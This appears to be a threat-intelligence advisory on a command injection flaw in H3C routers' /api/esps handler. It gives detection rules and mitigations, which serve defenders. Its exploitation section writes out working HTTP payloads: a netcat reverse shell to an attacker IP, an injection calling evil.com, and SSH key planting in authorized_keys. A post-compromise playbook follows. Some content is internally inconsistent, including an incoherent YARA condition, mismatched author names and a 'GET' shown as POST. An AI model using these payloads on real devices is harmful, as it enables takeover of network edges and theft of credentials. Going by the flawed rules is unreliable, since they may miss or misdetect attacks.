CVE-2025-29296

Executive Summary

CVE-2025-29296 is a critical command injection vulnerability affecting multiple H3C Magic and NX series routers, including the Magic BE18000, NX400, Magic NX30 Pro, Magic R3010, Magic NX15, Magic R1510, and NE36 Pro models. The flaw resides in the /api/esps request handler, where attacker-controlled parameters are concatenated into shell expressions executed via eval without proper sanitization, allowing unauthenticated remote attackers to execute arbitrary commands as root. With a CVSS score of 9.8, successful exploitation grants complete control of the affected device, enabling traffic interception, network pivoting, and lateral movement into the corporate network.

Technical Analysis

The vulnerability class is CWE-77 (Command Injection). The affected code paths are within the /api/esps request handler across multiple H3C router firmware versions. The following specific object interfaces and methods are vulnerable:

Vulnerability Mechanism

The vulnerable code constructs shell command strings by directly interpolating user-supplied request parameters into a command string that is subsequently passed to eval(). A typical vulnerable code pattern follows this structure:

// Pseudo-code representing the vulnerability
var param = request.body.param; // e.g., "vlan_id"
var cmd = "dhcpd_vlan_" + method + " " + param;
eval(cmd); // Executes the command with unsanitized input

Because input validation is absent or insufficient, an attacker who can make HTTP requests to the device's administrative web interface can inject shell metacharacters such as ;, &&, |, or command substitution $(). For example, sending a request parameter like 1; id would cause the eval to execute both the intended operation and the injected id command.

Attack Surface

The attack surface is the device's web management interface, which listens on port 80 (HTTP) and often port 443 (HTTPS). The /api/esps endpoint is part of the device's RESTful API backend and is accessible without authentication for certain operations, making the vulnerability remotely exploitable. The affected firmware versions span:

• H3C Magic BE18000: V200R007
• H3C NX400: V100R015
• H3C Magic NX30 Pro: V100R0011
• H3C Magic R3010: V100R009
• H3C Magic NX15: V100R017
• H3C Magic R1510: V100R016
• H3C NE36 Pro: V100R002

Root Cause

The root cause is the lack of input sanitization for request parameters before they are incorporated into shell expressions. The device's firmware does not implement a secure command execution wrapper, input allowlisting, or proper quoting of parameters. This is a classic command injection flaw amplified by the fact that the commands execute with root privileges.

Exploitation Scenarios

Step 1: Reconnaissance and Target Identification

An attacker uses Shodan or other internet-wide scanning tools to identify exposed H3C devices. Search queries target the H3C web interface banners and router login pages. The attacker builds a target list of IP addresses exposing H3C administrative interfaces on ports 80, 443, and 8080.

Step 2: Endpoint Discovery and Trigger

The attacker sends a benign GET request to /api/esps to confirm the endpoint exists and to parse the required HTTP headers. An example trigger request for the esps.dhcpd.vlan getlist method:

POST /api/esps HTTP/1.1
Host: target-router
Content-Type: application/json

{"object": "esps.dhcpd.vlan", "method": "getlist", "param": "1"}

If the device responds with valid JSON data, the endpoint is confirmed reachable and the parameter injection surface is validated.

Step 3: Payload Injection and Weaponization

The attacker replaces the benign parameter with a command injection payload. For the esps.filter.url add method:

POST /api/esps HTTP/1.1
Host: target-router
Content-Type: application/json

{"object": "esps.filter.url", "method": "add", "param": "http://evil.com; touch /tmp/pwned; echo pwned > /tmp/pwned"}

For the esps.system.ntp set method, the attacker crafts the following payload that establishes a reverse shell:

POST /api/esps HTTP/1.1
Host: target-router
Content-Type: application/json

{"object": "esps.system.ntp", "method": "set", "param": "0.pool.ntp.org; /bin/busybox nc 192.168.1.100 4444 -e /bin/sh"}

The injected ; terminates the legitimate shell command, and the appended reverse shell command executes with root privileges. If outbound connections are blocked, a simpler payload could establish a bind shell or write SSH keys:

POST /api/esps HTTP/1.1
Host: target-router
Content-Type: application/json

{"object": "esps.swcm.version", "method": "upgrade", "param": "/tmp/fw.bin; echo 'ssh-rsa AAAA...' >> /etc/dropbear/authorized_keys"}

Step 4: Post-Exploitation

Once the attacker gains a root shell, they can:

1. Dump the device's configuration file (/etc/config/network, /etc/config/dhcp) to extract network topology and credentials.
2. Install a persistent backdoor via a modified firmware image or cron job.
3. Use the router as a pivot point to attack hosts on the internal LAN, since the router can access all internal subnets.
4. Intercept and modify DNS responses to redirect traffic to malicious servers.
5. Capture PPPoE credentials, VPN keys, or wireless PSK from the device's flash memory.

Impact on Compromised Network

A successful compromise of an H3C routing device at the network edge gives the attacker controller of the boundary between the internal corporate network and the internet. This enables man-in-the-middle attacks on all unencrypted traffic, DNS hijacking, and persistent host-level persistence.

Impact Assessment

CVSS Analysis

The CVSS:3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, scoring 9.8 (Critical). All attack properties are maximally severe: the vulnerability is network-reachable, requires no authentication, no user interaction, and results in complete compromise of the device (confidentiality, integrity, and availability all rated high).

Business Impact

• Confidentiality breach: All traffic passing through the router can be read, stored, or exfiltrated.
• Integrity compromise: An attacker can modify routing tables, DNS settings, firewalls, and firmware images, altering network behavior.
• Availability risk: An attacker can crash the device, wipe firmware, or degrade routing performance, causing outages.

Affected Systems and Blast Radius

Seven H3C router models across multiple product lines are affected. These are widely deployed as enterprise access points, home-office routers, and small-to-medium business edge devices, particularly in the Asia-Pacific region. Given the unauthenticated remote nature of the flaw, any device with HTTP management exposed to the internet is at immediate risk of complete compromise.

EPSS and CISA KEV

EPSS score is not yet assigned by FIRST.org. The vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. However, given the low attack complexity and the historical prevalence of command injection flaws in embedded networking equipment, the probability of weaponization is high.

Detection Guidance

Sigma Rule

title: H3C Router Command Injection - API /api/esps
status: experimental
description: Detects command injection attempts targeting H3C router /api/esps endpoint
author: viltersit.com Threat Intelligence
date: 2025/01/30
logsource:
  category: webserver
  product: generic
detection:
  selection:
    cs-method: POST
    cs-uri-path:
      - '/api/esps'
  keywords:
    - ';'
    - '&&'
    - '|'
    - '$(('
    - '`'
    - '& ns'
  condition: selection and keywords
fields:
  - client.ip
  - client.port
  - cs-uri
  - request.body
falsepositives:
  - Legitimate administrator commands containing semicolons
level: high

YARA Rule

rule H3C_ESPS_Command_injection
{
    meta:
        author = "valtersit.com Threat Intel"
        description = "Detects HTTP request payloads targeting H3C /api/esps command injection"
        cve = "CVE-2025-29296"
        date = "2025-01-30"
    strings:
        $object1 = "esps.dhcpd.vlan" ascii wide
        $object2 = "esps.filter.url" ascii wide
        $object3 = "esps.apcm.version" ascii wide
        $object4 = "esps.swcm.version" ascii wide
        $object5 = "esps.system.ntp" ascii wide
        $method1 = "getlist" ascii wide
        $method2 = "\"delete\"" ascii wide
        $method3 = "\"upgrade\"" ascii wide
        $method4 = "\"modify\"" ascii wide
        $method5 = "\"set\"" ascii wide
        $inject1 = "; /bin" ascii
        $inject2 = ";rm " ascii
        $inject3 = "&& wget" ascii
        $inject4 = "`id`" ascii
        $inject5 = "$((" ascii
    condition:
        uint16(0) == 0x0d0a or uint16(0) == 0x0a0d or filesize > 0 and
        (2 of ($object*) or 2 of ($method*)) and
        1 of ($inject*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2025-29296 H3C API /api/esps Command Injection Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/api/esps"; http.request_body; pcre:"/(?:esps\.(?:dhcpd\.vlan|filter\.url|apcm\.version|swcm\.version|system\.ntp))[^}]*?(?:;|\||&&|\$\(|\x60|[|]>)"/si; classtype:attempted-admin; sid:10029296; rev:1; reference:cve,2025-29296;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [ network where event.category == "network_traffic" and
    network.protocol == "http" and
    network.direction == "ingress" and
    destination.port in (80, 443, 8080) and
    url.path == "/api/esps" and
    http.request.method == "POST"
  ]
  [ network where event.category == "network_traffic" and
    network.protocol == "http" and
    network.direction == "ingress" and
    destination.port in (80, 443, 8080) and
    http.request.body.content matches
      ".*(?:esps\.(?:dhcpd\.vlan|filter\.url|apcm\.version|swcm\.version|system\.ntp)).*(?:;|\||&&|\$\(|\x60).*"
  ]

Splunk SPL Query

index=web sourcetype=h3c:router:access
| where method=="POST" AND uri_path=="/api/esps"
| rex field=form_data "(?<object>esps\.[a-z.]+)"
| rex field=form_data "(?<injection>[;|&$`]+)"
| where isnotnull(object) AND isnotnull(injection)
| stats count by client_ip, object, injection, _time
| table _time, client_ip, object, injection, count

Wazuh OSSEC Rule

<group name="h3c,">
    <rule id="100292" level="12">
        <decoded_as>json</decoded_as>
        <field name="url">/api/esps</field>
        <regex>";" | "&&" | "|" | "$(" | "`"</regex>
        <description>H3C router command injection attempt detected via /api/esps</description>
        <group>attack.command_injection,CVE-2025-29296</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Status

Patch confidence: 0/4 — UNPATCHED. There is no evidence of an official vendor patch from H3C at the time of this report. The affected firmware versions remain vulnerable, and no fixed firmware builds have been publicly identified.

1) Immediate Mitigations (no patch available)

• Restrict Management Interface Access: Disable remote web management over the internet. Block ports 80, 443, and 8080 at the perimeter firewall for the router's management IP addresses.
• Enable IP-Based Access Control: Configure the router's management interface to accept connections only from trusted administrative IP ranges (e.g., internal VPN pool or designated management VLAN).
• Disable Vulnerable Features: If the affected features (DHCPD VLAN, URL Filtering, APCM/SWCM version management, NTP sync) are not operationally required, disable them through the CLI.
• Monitor Traffic: Deploy an IDS/IPS (Snort/Suricata) in front of the management interface using the detection rules provided above to alert on exploitation attempts.
• Change Administrative Credentials: Replace any default credentials on the device and ensure unique strong passwords.

2) Patch/Upgrade Steps

• Check H3C Official Announcement: Monitor the H3C security advisory portal (www.h3c.com) regularly for firmware updates referencing CVE-2025-29296.
• Upgrade Firmware: Once H3C releases patched firmware, download and install it via the device's maintenance/upgrade interface. Verify the upgrade with the vendor's checksum.
• Factory Reset After Patch: After upgrading, perform a factory reset and reconfigure the device to ensure no malicious configuration persists.

3) Long-Term Hardening

• Network Segmentation: Place edge routers on isolated management VLANs not routable from untrusted zones.
• Logging: Enable remote syslog forwarding to a central SIEM for all router administrative events.
• Firmware Integrity: Periodically verify the router's firmware checksum and look for tampering.
• Vendor Communication: Contact H3C technical support to demand an official patch and public disclosure timeline.

References

1. NVD Entry: CVE-2025-29296 — https://nvd.nist.gov/vuln/detail/CVE-2025-29296
2. H3C Security Advisories: https://www.h3c.com/en/Service/Online_Help/ — Monitor for official vendor advisory.
3. MITRE ATT&CK: T1190 — Exploit Public-Facing Application — https://attack.mitre.org/techniques/T1190/
4. CWE-77: Improper Neutralization of Special Elements used in a Command — https://cwe.mitre.org/data/definitions/77.html
5. First.org EPSS: Not yet scored. Monitor https://www.first.org/epss/

Threat Actor Campaign Activity: No publicly documented campaigns exploiting CVE-2025-29296 in the wild have been recorded at the time of writing. However, given the unauthenticated remote exploitation vector and the critical CVSS score, this vulnerability is highly likely to be weaponized by botnets targeting embedded networking devices (e.g., Mirai variants). The absence of a vendor patch significantly increases the exposure window.